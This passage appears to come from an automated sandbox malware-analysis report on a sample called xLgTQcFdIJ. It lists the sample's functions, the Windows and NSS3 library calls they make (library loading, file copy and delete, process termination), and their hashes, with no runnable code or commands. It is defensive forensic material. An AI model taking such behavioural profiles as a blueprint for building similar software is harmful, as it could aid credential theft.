Instruction Fuzzy Hash: 82313AB1902218ABDB14EB91DC92FDEB779AF08314F40418EF20566191DF787B88CF69

Function 6C7FCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7FCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7FCC7B), ref: 6C7FCD7A
Part of subcall function 6C7FCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7FCD8E
Part of subcall function 6C7FCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7FCDA5
Part of subcall function 6C7FCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7FCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C7FCCB5
memcpy.VCRUNTIME140(6C8914F4,6C8902AC,00000090), ref: 6C7FCCD3
memcpy.VCRUNTIME140(6C891588,6C8902AC,00000090), ref: 6C7FCD2B

Part of subcall function 6C719AC0: socket.WSOCK32(?,00000017,6C7199BE), ref: 6C719AE6
Part of subcall function 6C719AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C7199BE), ref: 6C719AFC

Part of subcall function 6C720590: closesocket.WSOCK32(6C719A8F,?,?,6C719A8F,00000000), ref: 6C720597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C7FCCB0

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 1ed8dba83e42bcdd3fa491088df687d1a16039c05f56ebbec7734eaa637008a6
Instruction ID: 49d50ea50fb07525e19ebc4981ec22b1df5c2d754f356e69032c625c6c0cb1eb
Opcode Fuzzy Hash: 1ed8dba83e42bcdd3fa491088df687d1a16039c05f56ebbec7734eaa637008a6
Instruction Fuzzy Hash: D211AFB1B0C2489EDB309F5E9A4AB423AAC935631CF455839E416CBF41E734C808CBD2

Function 6C761CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C761CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C761CF1

Part of subcall function 6C8409D0: PR_Now.NSS3 ref: 6C840A22
Part of subcall function 6C8409D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C840A35
Part of subcall function 6C8409D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C840A66
Part of subcall function 6C8409D0: PR_GetCurrentThread.NSS3 ref: 6C840A70
Part of subcall function 6C8409D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C840A9D
Part of subcall function 6C8409D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C840AC8
Part of subcall function 6C8409D0: PR_vsmprintf.NSS3(?,?), ref: 6C840AE8
Part of subcall function 6C8409D0: EnterCriticalSection.KERNEL32(?), ref: 6C840B19
Part of subcall function 6C8409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C840B48
Part of subcall function 6C8409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C840C76
Part of subcall function 6C8409D0: PR_LogFlush.NSS3 ref: 6C840C7E

Strings

C_Initialize, xrefs: 6C761CD3
pInitArgs = 0x%p, xrefs: 6C761CEC

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: cddbefc09c1b74ae180466d3fcdb9b1abefaf1602359e08e756db6ae5be3433a
Instruction ID: 88f52b535e22e868b363f48c262b0509bb131ffdd9305e194ad4fee65f47372f
Opcode Fuzzy Hash: cddbefc09c1b74ae180466d3fcdb9b1abefaf1602359e08e756db6ae5be3433a
Instruction Fuzzy Hash: 28015235201144AFDB209F5DDA4DB5A37B5EBC635EF084435E809D2E11DB38E849C7D1

Function 00418EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
wsprintfW.USER32 ref: 00418F08

Strings

%hs, xrefs: 00418EFF

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction ID: abe7276d6e58fd7f286e9bcc6e4dd5022fdd169b0d4b331efbe0e5b16b2cc016
Opcode Fuzzy Hash: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction Fuzzy Hash: 47E08C70E49308BBDB00DB94ED0AF6D77B8EB44302F000196FD0987340EA719F008B96

Function 0040D500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02F71008,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D581
lstrlenA.KERNEL32(00000000), ref: 0040D798
lstrlenA.KERNEL32(00000000), ref: 0040D7AC
DeleteFileA.KERNEL32(00000000), ref: 0040D82B

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 4c1525e857f093a45c2341733fa41754f3496238513f024d29210b144bef9689
Instruction ID: cd95120e3309aa2a4ee5e09d67847ecab6e8b781cb92854c7d2ac691bd2160a2
Opcode Fuzzy Hash: 4c1525e857f093a45c2341733fa41754f3496238513f024d29210b144bef9689
Instruction Fuzzy Hash: CF911672E111089BCB04FBA1EC66DEE7339AF14314F50456EF11672095EF387A98CB6A

Function 6C7A1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7A1D8F

Part of subcall function 6C7914C0: TlsGetValue.KERNEL32 ref: 6C7914E0
Part of subcall function 6C7914C0: EnterCriticalSection.KERNEL32 ref: 6C7914F5
Part of subcall function 6C7914C0: PR_Unlock.NSS3 ref: 6C79150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C7A1DA6

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C7A1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7A1ED0

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 52e028bdb76a835f55baf191c58c35c26dc99204c97e583a2c841f4bce654af5
Instruction ID: 4f6290f1e381503459fd8c176040d4b84648dbad21e2d9bc387f002358c2c0d3
Opcode Fuzzy Hash: 52e028bdb76a835f55baf191c58c35c26dc99204c97e583a2c841f4bce654af5
Instruction Fuzzy Hash: 8E518A75A04309CFEB10CF98C988BAEB7BABF49319F144229D8199B750D731E946CB80

Function 6C807DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C807E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C807EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C807EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C807ED8

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 8e3ea100851ce4130367dfb48734fe902e4c98a4c877fd57912e040614af6fc8
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 7531A0B2A012158FDB14CF08CD9099ABBA2BF88318B1B8979C8585B711EB71EC45CBD1

Function 6C736C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C736C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C736CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C736CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C858FE0), ref: 6C736CFE

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 6b765d7ae6b53228519db71e8cc57302bd70637695a616c9f1318e1baad103f6
Instruction ID: fd4734f8f8427a0ba0cb52ac3b1fda4c9948d558328200120f7b2a947e261e5d
Opcode Fuzzy Hash: 6b765d7ae6b53228519db71e8cc57302bd70637695a616c9f1318e1baad103f6
Instruction Fuzzy Hash: EF3181B1A002169FDB04CF65C995ABFBBF5FF85248B10443DD909D7701EB71A915CBA0

Function 00419660 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041967B

Part of subcall function 00418EE0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
Part of subcall function 00418EE0: HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
Part of subcall function 00418EE0: wsprintfW.USER32 ref: 00418F08

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041973B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419759
CloseHandle.KERNEL32(00000000), ref: 00419766

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction ID: 560ccd148ccd609fdd46163d5cc95655726043f4ba77f136f2594cdeec1b1660
Opcode Fuzzy Hash: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction Fuzzy Hash: C4315BB1E01208DBDB14DFE0DD49BEDB779BF44700F10445AF506AB284EB786A88CB56

Function 6C7A6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C7A6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7A6E57

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C7A6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C7A6EAA

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 1859bd03368741e795edd374d628f76c7a3c062e8a46d0bac3a8e0ed0611af7b
Instruction ID: 4540142cc9baecd4760a208701fcb7d52f07a9e0f010e3609992db0fa8302eb1
Opcode Fuzzy Hash: 1859bd03368741e795edd374d628f76c7a3c062e8a46d0bac3a8e0ed0611af7b
Instruction Fuzzy Hash: DE31C332618512EEDB145EB8DF08396B7A8BB0131AF14073CD5A9D6B81E730B656CF82

Function 6C78DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C78DDB1,?,00000000), ref: 6C78DDF4

Part of subcall function 6C7914C0: TlsGetValue.KERNEL32 ref: 6C7914E0
Part of subcall function 6C7914C0: EnterCriticalSection.KERNEL32 ref: 6C7914F5
Part of subcall function 6C7914C0: PR_Unlock.NSS3 ref: 6C79150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C78DDB1,?,00000000), ref: 6C78DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C78DDB1,?,00000000), ref: 6C78DE17

Part of subcall function 6C790BE0: malloc.MOZGLUE(6C788D2D,?,00000000,?), ref: 6C790BF8
Part of subcall function 6C790BE0: TlsGetValue.KERNEL32(6C788D2D,?,00000000,?), ref: 6C790C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C78DE80

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: d7ef8b05d102f7d200647e662d02698bd2e95edfef2541093904b338a2d73962
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 8C31A7B19027439BE700CF16D984652B7A8BFB5318B24823AD91987B01E771F5A4CB90

Function 6C77FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C755ADC,?,00000000,00000001,?,?,00000000,?,6C74BA55,?,?), ref: 6C77FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C77FE5F
PR_Unlock.NSS3(78831D74), ref: 6C77FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C77FED6

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: d0d04a006c84e8cc09ab939f50397730f0a9ca3d00abd8f453f8edf5c7b1b047
Instruction ID: fd6c4263b0b42cb0a6c2707da00cfddb7bf8f6e594ab85202694e8439cce49ba
Opcode Fuzzy Hash: d0d04a006c84e8cc09ab939f50397730f0a9ca3d00abd8f453f8edf5c7b1b047
Instruction Fuzzy Hash: 5A210431E01619ABDB21AE38DB48B9A73B8BF0535CF450134DD05A7E42E770E964CBE0

Function 6C7A2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7A2E08

Part of subcall function 6C7914C0: TlsGetValue.KERNEL32 ref: 6C7914E0
Part of subcall function 6C7914C0: EnterCriticalSection.KERNEL32 ref: 6C7914F5
Part of subcall function 6C7914C0: PR_Unlock.NSS3 ref: 6C79150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C7A2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C7A2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7A2E95

Part of subcall function 6C791200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7388A4,00000000,00000000), ref: 6C791228
Part of subcall function 6C791200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C791238
Part of subcall function 6C791200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7388A4,00000000,00000000), ref: 6C79124B
Part of subcall function 6C791200: PR_CallOnce.NSS3(6C892AA4,6C7912D0,00000000,00000000,00000000,?,6C7388A4,00000000,00000000), ref: 6C79125D
Part of subcall function 6C791200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C79126F
Part of subcall function 6C791200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C791280
Part of subcall function 6C791200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C79128E
Part of subcall function 6C791200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C79129A
Part of subcall function 6C791200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7912A1

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 92feb8b95a1299b549d972d21a57133f4df4d934dcfe695e9825c13c1e3dd648
